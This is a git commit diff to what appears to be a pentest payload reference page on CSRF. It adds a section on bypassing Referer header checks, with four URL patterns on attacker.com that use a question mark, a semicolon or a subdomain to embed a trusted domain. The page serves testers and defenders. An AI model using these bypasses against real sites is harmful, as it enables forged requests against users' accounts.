Added referer header validation check in CSRF

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HAHWUL 2021-06-23 10:05:14 +09:00 committed by GitHub
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@ -14,6 +14,11 @@
* [JSON GET - Simple Request](#json-get---simple-request)
* [JSON POST - Simple Request](#json-post---simple-request)
* [JSON POST - Complex Request](#json-post---complex-request)
* [Bypass referer header validation check](#bypass-referer-header-validation)
* [Basic payload](#basic-payload)
* [With question mark payload](#with-question-mark-payload)
* [With semicolon payload](#with-semicolon-payload)
* [With subdomain payload](#with-subdomain-payload)
* [References](#references)
## Tools
@ -100,6 +105,38 @@ xhr.send('{"role":admin}');
</script>
```
## Bypass referer header validation
### Basic payload
```
1) Open https://attacker.com/csrf.html
2) Referer header is ..
Referer: https://attacker.com/csrf.html
```
### With question mark(`?`) payload
```
1) Open https://attacker.com/csrf.html?trusted.domain.com
2) Referer header is ..
Referer: https://attacker.com/csrf.html?trusted.domain.com
```
### With semicolon(`;`) payload
```
1) Open https://attacker.com/csrf.html;trusted.domain.com
2) Referer header is ..
Referer: https://attacker.com/csrf.html;trusted.domain.com
```
### With subdomain payload
```
1) Open https://trusted.domain.com.attacker.com/csrf.html
2) Referer headers is ..
Referer: https://trusted.domain.com.attacker.com/csrf.html
```
## References
@ -115,4 +152,5 @@ xhr.send('{"role":admin}');
- [Hacking Facebook accounts using CSRF in Oculus-Facebook integration](https://www.josipfranjkovic.com/blog/hacking-facebook-oculus-integration-csrf)
- [Cross site request forgery (CSRF) - Sjoerd Langkemper - Jan 9, 2019](http://www.sjoerdlangkemper.nl/2019/01/09/csrf/)
- [Cross-Site Request Forgery Attack - PwnFunction](https://www.youtube.com/watch?v=eWEgUcHPle0)
- [Wiping Out CSRF - Joe Rozner - Oct 17, 2017](#https://medium.com/@jrozner/wiping-out-csrf-ded97ae7e83f)
- [Wiping Out CSRF - Joe Rozner - Oct 17, 2017](https://medium.com/@jrozner/wiping-out-csrf-ded97ae7e83f)
- [Bypass referer check logic for CSRF](https://www.hahwul.com/2019/10/11/bypass-referer-check-logic-for-csrf/)